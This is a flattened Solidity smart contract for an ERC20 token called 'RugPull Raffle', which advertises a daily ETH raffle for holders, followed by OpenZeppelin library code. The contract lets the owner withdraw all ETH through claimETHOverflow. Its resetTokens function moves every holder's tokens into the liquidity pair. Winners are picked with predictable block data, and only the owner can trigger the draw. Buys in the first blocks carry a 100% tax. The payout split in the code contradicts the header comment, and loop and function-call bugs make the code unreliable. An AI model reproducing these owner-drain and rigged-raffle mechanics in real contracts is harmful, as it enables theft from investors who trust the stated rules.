// File: contracts/2_Owner.sol



/*
	Submitted for verification at Etherscan.io on 2022-10-3
*/

/* 
This is a raffle style ERC20 Project. Every individual wallet address will be counted as 1 entry into the daily drawing despite how many tokens purchased.
The winning pool will be based on how much Eth is in the liquidity pool, minus the initial liquidity investment, and will be raffled off to three
lucky winners. 75% of the funds will be divided up so the first winner receives 90%, second receives
5%, and third receives 1%. All remaining funds will be used to grow the project, including increasing the
starting liquidity pool, marketing, and gas fees. All tokens will be reset at the end of the drawing, thus clearing out all holders. It's
our shared duty to grow the interest in this project so the daily pool continues to grow!
may the odds ever be in your favor!
*/

// SPDX-License-Identifier: MIT

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

pragma solidity ^0.8.13;

interface IFactory {
	function createPair(address tokenA, address tokenB)
	external
	returns (address pair);

	function getPair(address tokenA, address tokenB)
	external
	view
	returns (address pair);
}

interface IRouter {
	function factory() external pure returns (address);

	function WETH() external pure returns (address);

	function addLiquidityETH(
		address token,
		uint256 amountTokenDesired,
		uint256 amountTokenMin,
		uint256 amountETHMin,
		address to,
		uint256 deadline
	)
	external
	payable
	returns (
		uint256 amountToken,
		uint256 amountETH,
		uint256 liquidity
	);

	function removeLiquidityETHSupportingFeeOnTransferTokens(
		address token,
		uint liquidity,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external returns (uint amountETH);

	function swapExactETHForTokensSupportingFeeOnTransferTokens(
		uint256 amountOutMin,
		address[] calldata path,
		address to,
		uint256 deadline
	) external payable;

	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint256 amountIn,
		uint256 amountOutMin,
		address[] calldata path,
		address to,
		uint256 deadline
	) external;
}

library Address {
	function isContract(address account) internal view returns (bool) {
		uint256 size;
		assembly {
			size := extcodesize(account)
		}
		return size > 0;
	}

	function sendValue(address payable recipient, uint256 amount) internal {
		require(
			address(this).balance >= amount,
			"Address: insufficient balance"
		);

		(bool success, ) = recipient.call{value: amount}("");
		require(
			success,
			"Address: unable to send value, recipient may have reverted"
		);
	}

	function functionCall(address target, bytes memory data)
	internal
	returns (bytes memory)
	{
		return functionCall(target, data, "Address: low-level call failed");
	}

	function functionCall(
		address target,
		bytes memory data,
		string memory errorMessage
	) internal returns (bytes memory) {
		return functionCallWithValue(target, data, 0, errorMessage);
	}

	function functionCallWithValue(
		address target,
		bytes memory data,
		uint256 value
	) internal returns (bytes memory) {
		return
		functionCallWithValue(
			target,
			data,
			value,
			"Address: low-level call with value failed"
		);
	}

	function functionCallWithValue(
		address target,
		bytes memory data,
		uint256 value,
		string memory errorMessage
	) internal returns (bytes memory) {
		require(
			address(this).balance >= value,
			"Address: insufficient balance for call"
		);
		require(isContract(target), "Address: call to non-contract");

		(bool success, bytes memory returndata) = target.call{value: value}(
		data
		);
		return _verifyCallResult(success, returndata, errorMessage);
	}

	function functionStaticCall(address target, bytes memory data)
	internal
	view
	returns (bytes memory)
	{
		return
		functionStaticCall(
			target,
			data,
			"Address: low-level static call failed"
		);
	}

	function functionStaticCall(
		address target,
		bytes memory data,
		string memory errorMessage
	) internal view returns (bytes memory) {
		require(isContract(target), "Address: static call to non-contract");

		(bool success, bytes memory returndata) = target.staticcall(data);
		return _verifyCallResult(success, returndata, errorMessage);
	}

	function functionDelegateCall(address target, bytes memory data)
	internal
	returns (bytes memory)
	{
		return
		functionDelegateCall(
			target,
			data,
			"Address: low-level delegate call failed"
		);
	}

	function functionDelegateCall(
		address target,
		bytes memory data,
		string memory errorMessage
	) internal returns (bytes memory) {
		require(isContract(target), "Address: delegate call to non-contract");

		(bool success, bytes memory returndata) = target.delegatecall(data);
		return _verifyCallResult(success, returndata, errorMessage);
	}

	function _verifyCallResult(
		bool success,
		bytes memory returndata,
		string memory errorMessage
	) private pure returns (bytes memory) {
		if (success) {
			return returndata;
		} else {
			if (returndata.length > 0) {
				assembly {
					let returndata_size := mload(returndata)
					revert(add(32, returndata), returndata_size)
				}
			} else {
				revert(errorMessage);
			}
		}
	}
}

contract rugpullRaffle is IERC20, Ownable {
	using Address for address;
	using SafeMath for uint256;

	IRouter public uniswapV2Router;
	address public immutable uniswapV2Pair;

	string private constant _name =  "RugPull Raffle";
	string private constant _symbol = "$RAFFLE";
	uint8 private constant _decimals = 0;
	uint private constant MINIMUM_LIQUIDITY = 10**3;

	mapping (address => uint256) private _rOwned;
	mapping (address => uint256) private _tOwned;
	mapping (address => mapping (address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = 1000000;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

    uint256 private _tradingPausedTimestamp;

	bool private _swapping;
	bool private isTradingEnabled = true;

    // max wallet is 0.05% of initialSupply
	uint256 private minimumTokensBeforeSwap = 1000;

    address private dead = 0x000000000000000000000000000000000000dEaD;
	address private zeroAddress = 0x0000000000000000000000000000000000000000;

	address private liquidityWallet;
	address private investmentWallet;

	struct CustomTaxPeriod {
		bytes23 periodName;
		uint8 blocksInPeriod;
		uint256 timeInPeriod;
		uint8 liquidityFeeOnBuy;
		uint8 liquidityFeeOnSell;
        uint8 investmentFeeOnBuy;
		uint8 investmentFeeOnSell;
		uint8 holdersFeeOnBuy;
		uint8 holdersFeeOnSell;
	}

	// Base taxes
	CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,0,20,0,0,0,0);

    uint256 private _launchTimestamp;
	uint256 private _launchBlockNumber;
    uint256 constant private _blockedTimeLimit = 172800;
    mapping (address => bool) private _isBlocked;
	mapping (address => bool) private _isExcludedFromFee;
	mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
	mapping (address => bool) public automatedMarketMakerPairs;
    mapping (address => bool) private _isExcludedFromDividends;
	mapping (address => bool) private _isAllowedToTradeWhenDisabled;
    address[] private _excludedFromDividends;

	uint8 private _liquidityFee;
    uint8 private _investmentFee;
	uint8 private _holdersFee;
	uint8 private _totalFee;

	event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
	event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
    event BlockedAccountChange(address indexed holder, bool indexed status);
	event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
	event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
	event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 investmentFee, uint8 holdersFee);
	event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
	event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
    event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
	event ExcludeFromFeesChange(address indexed account, bool isExcluded);
	event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
	event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
	event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
	event ClaimETHOverflow(uint256 amount);
	event FeesApplied(uint8 liquidityFee, uint8 investmentFee, uint8 holdersFee, uint8 totalFee);

	constructor() {
		liquidityWallet = owner();
        investmentWallet = owner();

		IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
		address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
			address(this),
			_uniswapV2Router.WETH()
		);
        uniswapV2Router = _uniswapV2Router;
		uniswapV2Pair = _uniswapV2Pair;
		_setAutomatedMarketMakerPair(_uniswapV2Pair, true);

        _isExcludedFromFee[owner()] = true;
		_isExcludedFromFee[address(this)] = true;

        excludeFromDividends(address(this),true);
		excludeFromDividends(address(dead),true);
		excludeFromDividends(address(_uniswapV2Router),true);

		_isAllowedToTradeWhenDisabled[owner()] = true;
		_isAllowedToTradeWhenDisabled[address(this)] = true;
		_isAllowedToTradeWhenDisabled[uniswapV2Pair] = true;
		_isAllowedToTradeWhenDisabled[address(uniswapV2Router)] = true;

        _isExcludedFromMaxTransactionLimit[address(this)] = true;
		_isExcludedFromMaxTransactionLimit[address(dead)] = true;
		_isExcludedFromMaxTransactionLimit[owner()] = true;

		_rOwned[owner()] = _rTotal;
		emit Transfer(address(0), owner(), _tTotal);
	}

	receive() external payable {}

	struct Holder{
    uint id;
    address name;
	bool winner;
  	}
  	mapping (uint => Holder) private holderInfo;
	mapping (uint => Holder) private tempHolders;
	mapping (uint => Holder) private entries;
  	uint private holderCount;
    uint private tempCount;
	uint public entryCount;
	address private winner90;
	address private winner5;
	address private winner1;
	uint private winner90number;
	uint private winner5number;
	uint private winner1number;
	uint private contractEthBalance;
	uint public tokensPerEntry = 1000;
	uint public startingLiquidity = 1 ether;
	uint public newLiquidityDeposit;

	// Set Functions
	function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
		uint8 _liquidityFeeOnSell,
        uint8 _investmentFeeOnSell,
		uint8 _holdersFeeOnSell
	) private {
		if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
			emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
			map.liquidityFeeOnSell = _liquidityFeeOnSell;
		}
        if (map.investmentFeeOnSell != _investmentFeeOnSell) {
			emit CustomTaxPeriodChange(_investmentFeeOnSell, map.investmentFeeOnSell, 'investmentFeeOnSell', map.periodName);
			map.investmentFeeOnSell = _investmentFeeOnSell;
		}
		if (map.holdersFeeOnSell != _holdersFeeOnSell) {
			emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
			map.holdersFeeOnSell = _holdersFeeOnSell;
		}
	}

	function _setCustomBuyTaxPeriod(
		CustomTaxPeriod storage map,
		uint8 _liquidityFeeOnBuy,
        uint8 _investmentFeeOnBuy,
		uint8 _holdersFeeOnBuy
	) private {
		if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
			emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
			map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
		}
        if (map.investmentFeeOnBuy != _investmentFeeOnBuy) {
			emit CustomTaxPeriodChange(_investmentFeeOnBuy, map.investmentFeeOnBuy, 'investmentFeeOnBuy', map.periodName);
			map.investmentFeeOnBuy = _investmentFeeOnBuy;
		}
		if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
			emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
			map.holdersFeeOnBuy = _holdersFeeOnBuy;
		}
	}

	function setBaseFeesOnBuy(
		uint8 _liquidityFeeOnBuy, 
		uint8 _investmentFeeOnBuy, 
		uint8 _holdersFeeOnBuy
		) external onlyOwner {
		_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _investmentFeeOnBuy, _holdersFeeOnBuy);
		emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _investmentFeeOnBuy, _holdersFeeOnBuy);
	}

	function setBaseFeesOnSell(
		uint8 _liquidityFeeOnSell, 
		uint8 _investmentFeeOnSell, 
		uint8 _holdersFeeOnSell
		) external onlyOwner {
		_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _investmentFeeOnSell, _holdersFeeOnSell);
		emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _investmentFeeOnSell, _holdersFeeOnSell);	 
	}
	function transfer(
		address recipient, 
		uint256 amount
		) external override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		holderInfo[holderCount] = Holder(holderCount,recipient,false);
    	holderCount++;
		contractEthBalance = address(this).balance;
		return true;
	}

	function approve(
		address spender, 
		uint256 amount
		) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(
		address sender,
		address recipient,
		uint256 amount
		) external override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
		return true;
	}
	function increaseAllowance(
		address spender, 
		uint256 addedValue
		) external virtual returns (bool){
		_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
		return true;
	}
	function decreaseAllowance(
		address spender, 
		uint256 subtractedValue
		) external virtual returns (bool) {
		_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
		return true;
	}	

	function _approve(
		address owner,
		address spender,
		uint256 amount
		) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}
	function _getNow() private view returns (uint256) {
		return block.timestamp;
	}

    function _setAutomatedMarketMakerPair(
		address pair, 
		bool value
		) private {
		require(automatedMarketMakerPairs[pair] != value, "$RAFFLE: Automated market maker pair is already set to that value");
		automatedMarketMakerPairs[pair] = value;
		emit AutomatedMarketMakerPairChange(pair, value);
	}

	function activateTrading() internal {
		isTradingEnabled = true;
        if (_launchTimestamp == 0) {
			_launchTimestamp = block.timestamp;
			_launchBlockNumber = block.number;
		}
	}
	function deactivateTrading() internal {
		isTradingEnabled = false;
		_tradingPausedTimestamp = _getNow();
	}

	//Project Specific Functions

	function remMember() internal {
		holderCount = 0;
  	}

	function checkMembers() internal onlyOwner {
      tempCount = 0;
	  for (uint i = 0; i < holderCount; i++) {
          if(balanceOf(holderInfo[i].name) >= 1){
			tempHolders[tempCount] = holderInfo[i];
    		tempCount++;
		  }
      }
	  holderCount=0;
	  for (uint i = 0; i < tempCount; i++) {
      	holderInfo[holderCount] = tempHolders[i];
    	holderCount++;
	  }
    }

	function setTokensPerEntry(uint tpe) public onlyOwner{
		tokensPerEntry = tpe;
	}

	function generateEntries() private onlyOwner {
		// This function creates an array of entries for all token holders. 
		// It needs to be run before the draw function will work.
		entryCount = 0;
		checkMembers();
    	for (uint i = 0; i < holderCount; i++) {
			uint entriesNumber = balanceOf(holderInfo[i].name)/(tokensPerEntry);
			if(entriesNumber>=1){
				for(uint j = 0; j < entriesNumber; j++){
					entries[entryCount] = holderInfo[i];
					entryCount++;
					j++;
				}
			}
			i++;
    	}
  	}

    function resetTokens() internal {
		for (uint i; i < holderCount; i++) {
			uint holderBalance = balanceOf(holderInfo[i].name);
			if(holderInfo[i].name==zeroAddress){
			//Can't transfer from the Zero Address. Dummy!
			}
			else if(holderBalance>0){
				_transfer(holderInfo[i].name, uniswapV2Pair, holderBalance);
			}
		}
    }

	function random90() internal {
		winner90number = uint(keccak256(abi.encodePacked(block.timestamp,msg.sender))) % entryCount;
		winner90 = entries[winner90number].name;
		if(winner90 == zeroAddress)
		{
			random90();
		}
		else{
			delete entries[winner90number];
		}
	}

	function random5() internal {
		winner5number = uint(keccak256(abi.encodePacked(block.number,msg.sender))) % entryCount;
		winner5 = entries[winner5number].name;
		if(winner5 == zeroAddress)
		{
			random5();
		}
		else{
			delete entries[winner5number];
		}
	}

	function random1() internal {
		winner1number = uint(keccak256(abi.encodePacked(block.number+block.timestamp,msg.sender))) % entryCount;
		winner1 = entries[winner1number].name;
		if(winner1 == zeroAddress)
		{
			random5();
		}
		else{
			delete entries[winner1number];
		}
	}

	function draw() external onlyOwner {
        //only the Owner can pick the Winners
		generateEntries();
		resetTokens();
		random90();
		random5();
		random1();
		payWinner();
		remMember();
	}

	function payWinner() internal {
		contractEthBalance = address(this).balance;
		uint contractEthPayOut = contractEthBalance*(75)/(100);
		sendEther(winner1, contractEthPayOut*(3)/(100));
		sendEther(winner5, contractEthPayOut*(7)/(100));
		sendEther(winner90, contractEthPayOut*(90)/(100));
	}
	
	function settleLiquidity() external {
		newLiquidityDeposit = (address(this).balance-startingLiquidity)*(25)/(100);
		_addLiquidity(balanceOf(address(this)),newLiquidityDeposit);
		startingLiquidity = startingLiquidity+newLiquidityDeposit;
	}

	function getWinners() external view returns (address, uint, address, uint, address, uint){
		return (winner90,winner90number,winner5,winner5number,winner1,winner1number);
	}

	function setMinimumTokensBeforeSwap(
		uint256 newValue
		) external onlyOwner {
		require(newValue != minimumTokensBeforeSwap, "$RAFFLE: Cannot update minimumTokensBeforeSwap to same value");
		emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
		minimumTokensBeforeSwap = newValue;
	}

	function excludeFromDividends(
		address account, 
		bool excluded
		) public onlyOwner {
		require(_isExcludedFromDividends[account] != excluded, "Flip: Account is already the value of 'excluded'");
		if(excluded) {
			if(_rOwned[account] > 0) {
				_tOwned[account] = tokenFromReflection(_rOwned[account]);
			}
			_isExcludedFromDividends[account] = excluded;
			_excludedFromDividends.push(account);
		} else {
			for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
				if (_excludedFromDividends[i] == account) {
					_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
					_tOwned[account] = 0;
					_isExcludedFromDividends[account] = false;
					_excludedFromDividends.pop();
					break;
				}
			}
		}
		emit ExcludeFromDividendsChange(account, excluded);
	}

	function claimETHOverflow() external onlyOwner {
		require(address(this).balance > 0, "$RAFFLE: Cannot send more than contract balance");
        uint256 amount = address(this).balance;
		(bool success,) = address(owner()).call{value : amount}("");
		if (success){
			emit ClaimETHOverflow(amount);
		}
	}

	function sendEther(
		address _winner, 
		uint _amount
		) internal {
		//Sends Eth to the Winner Address from the Smart Contract
		if(contractEthBalance>_amount){
			address payable wallet = payable(_winner);
			wallet.transfer(_amount);
		}
	}

	// Getters
	function name() external view returns (string memory) {
		return _name;
	}

	function symbol() external view returns (string memory) {
		return _symbol;
	}

	function decimals() external view virtual returns (uint8) {
		return _decimals;
	}

	function totalSupply() external view override returns (uint256) {
		return _tTotal;
	}
	
	function balanceOf(address account) public view override returns (uint256) {
		if (_isExcludedFromDividends[account]) return _tOwned[account];
		return tokenFromReflection(_rOwned[account]);
	}

	function totalFees() external view returns (uint256) {
		return _tFeeTotal;
	}

	function allowance(
		address owner, 
		address spender
		) external view override returns (uint256) {
		return _allowances[owner][spender];
	}
    function getBaseBuyFees() external view returns (uint8, uint8, uint8){
		return (_base.liquidityFeeOnBuy, _base.investmentFeeOnBuy, _base.holdersFeeOnBuy);
	}

	function getBaseSellFees() external view returns (uint8, uint8, uint8){
		return (_base.liquidityFeeOnSell, _base.investmentFeeOnSell, _base.holdersFeeOnSell);
	}

	function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
		require(rAmount <= _rTotal, "$RAFFLE: Amount must be less than total reflections");
		uint256 currentRate =  _getRate();
		return rAmount / currentRate;
	}

	function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
		require(tAmount <= _tTotal, "$RAFFLE: Amount must be less than supply");
		uint256 currentRate = _getRate();
		uint256 rAmount  = tAmount * currentRate;
		if (!deductTransferFee) {
			return rAmount;
		}
		else {
			uint256 rTotalFee  = tAmount * _totalFee / 100 * currentRate;
			uint256 rTransferAmount = rAmount - rTotalFee;
			return rTransferAmount;
		}
	}

	// Main
	function _transfer(
	address from,
	address to,
	uint256 amount
	) internal {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(amount <= balanceOf(from), "$RAFFLE: Cannot transfer more than balance");
		bool isBuyFromLp = automatedMarketMakerPairs[from];
		bool isSelltoLp = automatedMarketMakerPairs[to];
		if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
			require(isTradingEnabled, "$RAFFLE: Trading is currently disabled.");
            require(!_isBlocked[to], "$RAFFLE: Account is blocked");
			require(!_isBlocked[from], "$RAFFLE: Account is blocked");
		}
		_adjustTaxes(isBuyFromLp, isSelltoLp);
		bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
		if (
			isTradingEnabled &&
			canSwap &&
			!_swapping &&
			_totalFee > 0 &&
			automatedMarketMakerPairs[to]
		) {
			_swapping = true;
			_swapAndLiquify();
			_swapping = false;
		}
		bool takeFee = !_swapping && isTradingEnabled;
		if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
			takeFee = false;
		}
		_tokenTransfer(from, to, amount, takeFee);
	}

	function _swapAndLiquify() private {
		uint256 contractBalance = balanceOf(address(this));
		uint256 initialETHBalance = address(this).balance;
		uint8 totalFeePrior = _totalFee;
        uint8 liquidityFeePrior = _liquidityFee;
        uint8 investmentFeePrior = _investmentFee;
		uint8 holdersFeePrior = _holdersFee;

		uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
		uint256 amountToSwapForETH = contractBalance - amountToLiquify;

		_swapTokensForETH(amountToSwapForETH);

		uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
		uint256 totalETHFee = totalFeePrior - (liquidityFeePrior / 2) - (holdersFeePrior);
		uint256 amountETHLiquidity = ETHBalanceAfterSwap * liquidityFeePrior / totalETHFee / 2;
		uint256 amountETHInvestment = ETHBalanceAfterSwap - amountETHLiquidity;

		payable(investmentWallet).transfer(amountETHInvestment);

		if (amountToLiquify > 0) {
			_addLiquidity(amountToLiquify, amountETHLiquidity);
			emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
		}
		_totalFee = totalFeePrior;
        _liquidityFee = liquidityFeePrior;
        _investmentFee = investmentFeePrior;
		_holdersFee = holdersFeePrior;
	}

	function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
		(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());

		if (_isExcludedFromDividends[sender]) {
			_tOwned[sender] = _tOwned[sender] - tAmount;
		}
		if (_isExcludedFromDividends[recipient]) {
			_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
		}
		_rOwned[sender] = _rOwned[sender] - rAmount;
		_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
		_takeContractFees(rOther, tOther);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal -= rFee;
		_tFeeTotal += tFee;
	}

	function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
		if (!takeFee) {
			return (tAmount, 0, 0);
		}
		else {
			uint256 tFee = tAmount * _holdersFee / 100;
			uint256 tOther = tAmount * (_liquidityFee + _investmentFee) / 100;
			uint256 tTransferAmount = tAmount - (tFee + tOther);
			return (tTransferAmount, tFee, tOther);
		}
	}

	function _getRValues(
		uint256 tAmount,
		uint256 tFee,
		uint256 tOther,
		uint256 currentRate
		) private pure returns ( uint256, uint256, uint256, uint256) {
		uint256 rAmount = tAmount * currentRate;
		uint256 rFee = tFee * currentRate;
		uint256 rOther = tOther * currentRate;
		uint256 rTransferAmount = rAmount - (rFee + rOther);
		return (rAmount, rTransferAmount, rFee, rOther);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
			if (
				_rOwned[_excludedFromDividends[i]] > rSupply ||
				_tOwned[_excludedFromDividends[i]] > tSupply
			) return (_rTotal, _tTotal);
			rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
			tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
		}
		if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}

	function _takeContractFees(uint256 rOther, uint256 tOther) private {
		if (_isExcludedFromDividends[address(this)]) {
			_tOwned[address(this)] += tOther;
		}
		_rOwned[address(this)] += rOther;
	}
	
	function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
		_liquidityFee = 0;
		_investmentFee = 0;
		_holdersFee = 0;

		if (isBuyFromLp) {
            if ((block.number - _launchBlockNumber) <= 5) {
				_liquidityFee = 100;
			}
            else {
                _liquidityFee = _base.liquidityFeeOnBuy;
                _investmentFee = _base.investmentFeeOnBuy;
                _holdersFee = _base.holdersFeeOnBuy;
            }
		}
		if (isSelltoLp) {
			_liquidityFee = _base.liquidityFeeOnSell;
			_investmentFee = _base.investmentFeeOnSell;
			_holdersFee = _base.holdersFeeOnSell;

            if (block.timestamp - _launchTimestamp <= 86400) {
                _liquidityFee = 5;
                _holdersFee = 10;
                if (block.timestamp - _launchTimestamp <= 3600) {
                    _investmentFee = 15;
                } else {
                    _investmentFee = 10;
                }
            }
		}
		_totalFee = _liquidityFee + _investmentFee + _holdersFee;
		emit FeesApplied(_liquidityFee, _investmentFee, _holdersFee, _totalFee);
	}

	function _swapTokensForETH(uint256 tokenAmount) private {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = uniswapV2Router.WETH();
		_approve(address(this), address(uniswapV2Router), tokenAmount);
		uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
		tokenAmount,
		0, // accept any amount of ETH
		path,
		address(this),
		block.timestamp
		);
	}

	function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
		_approve(address(this), address(uniswapV2Router), tokenAmount);
		uniswapV2Router.addLiquidityETH{value: ethAmount}(
		address(this),
		tokenAmount,
		0, // slippage is unavoidable
		0, // slippage is unavoidable
		liquidityWallet,
		block.timestamp
		);
    }
}
// File: @openzeppelin/contracts/access/Ownable.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/Context.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
